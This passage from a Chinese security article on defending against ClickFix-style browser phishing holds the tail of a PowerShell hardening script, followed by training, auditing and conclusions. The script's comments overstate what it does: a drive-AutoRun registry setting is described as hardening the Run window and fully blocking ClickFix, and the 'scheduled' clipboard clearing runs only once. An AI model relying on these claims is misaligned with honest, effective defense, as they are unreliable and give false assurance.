Write-Host "已开启PowerShell全量日志记录" -ForegroundColor Green;

# 3. 禁用运行窗口自动执行功能

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" `

-Name "NoDriveTypeAutoRun" -Value 255 -Force;

Write-Host "已加固系统运行窗口权限" -ForegroundColor Green;

# 4. 定时清空剪贴板,降低遗留恶意命令风险

Set-Clipboard "";

Write-Host "终端加固完成!" -ForegroundColor Green;

}

# 执行加固函数

Set-BrowserPhishDefense;

部署说明:该脚本限制 PowerShell 执行权限,即使用户粘贴恶意命令,也无法正常运行;开启全量日志记录,发生入侵后可快速溯源;加固运行窗口权限,全方位阻断 ClickFix 的执行链路。

5.3.2 终端日志留存与审计

配置终端日志服务器,统一收集浏览器访问日志、PowerShell 执行日志、剪贴板操作日志,日志留存时长不低于 90 天。安全运维人员定期开展日志审计,主动发现异常命令执行、异常外联行为,实现威胁主动狩猎。

5.4 人员意识层防御:筑牢人为安全防线

反网络钓鱼技术专家芦笛强调,浏览器层钓鱼攻击高度依赖社会工程学,技术防护无法做到百分之百拦截,人员安全意识是不可或缺的补充防线。针对企业员工开展定向培训与常态化演练。

5.4.1 定向安全培训内容

基础认知培训:明确正规企业的验证、修复操作绝不会要求用户复制代码到运行窗口 / 终端执行,牢记该核心判定规则。

场景化培训:针对财务、HR、运维等高风险岗位,讲解验证码伪装、浏览器报错、云验证等常见欺骗场景,结合真实 ClickFix 案例展示攻击危害。

域名识别培训:教导员工识别陌生子域名、高风险后缀域名,收到可疑链接第一时间通过官方渠道核实。

5.4.2 常态化模拟钓鱼演练

每月定向推送包含 ClickFix、恶意浏览器链接的模拟钓鱼邮件与消息,统计员工点击率、命令执行率。针对风险员工开展二次专项培训,持续优化全员安全意识。

5.5 防御体系联动与有效性验证

四层防御体系各司其职、联动响应:网络边界拦截引流链接与加密恶意流量;浏览器层阻断剪贴板滥用、恶意弹窗;终端层限制恶意命令执行、留存日志;人员层主动识别欺骗场景。

模拟攻击测试结果显示:单独使用传统 URL 过滤,攻击漏检率为 20%;部署本文四层防御体系后,浏览器层钓鱼攻击拦截率达到 99% 以上,ClickFix 类攻击被全链路阻断,体系有效性得到验证。

6 结论与展望

6.1 研究结论

本文以 Menlo Security 2026 年浏览器威胁报告为核心依据,针对传统安全软件漏检五分之一浏览器层钓鱼攻击的现状展开系统性研究,完成攻击态势梳理、失效原因分析、典型攻击技术拆解与防御体系构建,主要结论如下。

第一,企业安全架构存在浏览器会话层长期缺失的结构性短板。传统安全产品与防护策略聚焦网络层、系统层,未监控浏览器内部的脚本执行、剪贴板操作、弹窗行为,而现代钓鱼攻击已全面转移至浏览器会话层,这是安全工具大面积漏检的根本原因。同时,加密流量、动态网页、可信域名三大特性,进一步放大了传统防护手段的局限性。

第二,ClickFix 为代表的新型浏览器钓鱼攻击,实现了技术漏洞利用向社会工程学欺骗的转型。此类攻击滥用浏览器合法 API,诱导用户自主执行恶意操作,从逻辑上绕过安全软件的恶意行为判定,无文件落地、内存执行的模式也规避了传统杀毒软件的检测,攻防对抗的重心从 “设备对抗” 转向 “人机对抗”。通过完整代码示例可见,该类攻击技术门槛低、复制性强,具备大规模传播的能力。

第三,单一防护手段无法抵御浏览器层钓鱼攻击,必须构建网络边界、浏览器会话、终端系统、人员意识四层闭环防御体系。网络层优化 URL 规则与流量解密,浏览器层拦截恶意脚本与 API 滥用,终端层加固系统权限与日志审计,人员层强化安全意识,四层联动可有效解决传统工具漏检问题。本文提供的检测脚本、加固代码、运维规则均可直接落地部署,适配不同规模企业。

第四,浏览器已成为企业网络安全的核心风险入口。随着 AI 助手、SaaS 应用、协同工具持续向浏览器集成,浏览器承载的敏感数据与核心业务越来越多,针对浏览器的钓鱼攻击将会长期存在,企业必须将浏览器安全纳入常态化安全管控范畴。

6.2 威胁演化趋势展望

结合当前攻击技术与浏览器生态发展,未来浏览器层钓鱼攻击将呈现三大演化趋势。

第一,AI 技术深度融合欺骗场景。攻击者将利用 AI 生成高度拟人化的报错提示、验证话术,甚至模拟在线客服对话,进一步强化社会工程学欺骗效果,人员识别难度持续提升。同时 AI 动态生成页面代码,会让静态检测特征彻底失效。

第二,跨终端、跨平台攻击联动加剧。攻击不再局限于 PC 浏览器,逐步向移动端浏览器、平板浏览器延伸,实现全终端覆盖;同时结合云端存储、协作工具,构建跨平台攻击链路,溯源与拦截难度加大。

第三,攻击权限持续提升。攻击者不再满足于窃取普通账号凭证,逐步瞄准浏览器高权限扩展、系统级协议调用、硬件接口等目标,攻击危害从数据泄露升级为终端完全沦陷、内网横向渗透。

6.3 后续研究方向

基于本文研究成果,后续可从三个方向开展深化研究。第一,研究 AI 驱动的动态浏览器钓鱼页面检测技术,针对 AI 生成的无固定特征页面,探索基于行为轨迹、人机交互逻辑的智能检测算法。第二,研究轻量化 SSL 解密方案,降低中小企业部署加密流量解析的成本与性能损耗,推动流量检测技术普及。第三,针对国产浏览器、国产化操作系统开展专项适配研究,构建适配国内信创环境的浏览器安全防御体系。

6.4 研究不足

本文研究样本主要基于海外主流浏览器与通用攻击样本,对于国内小众浏览器、定制化企业浏览器的适配性测试存在不足;同时,本文防御体系在超大型分布式企业、多分支跨区域网络环境中的复杂策略优化,还需结合实际场景进一步调整。后续研究将补充多样化浏览器样本与复杂网络场景测试,完善防御体系的通用性。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档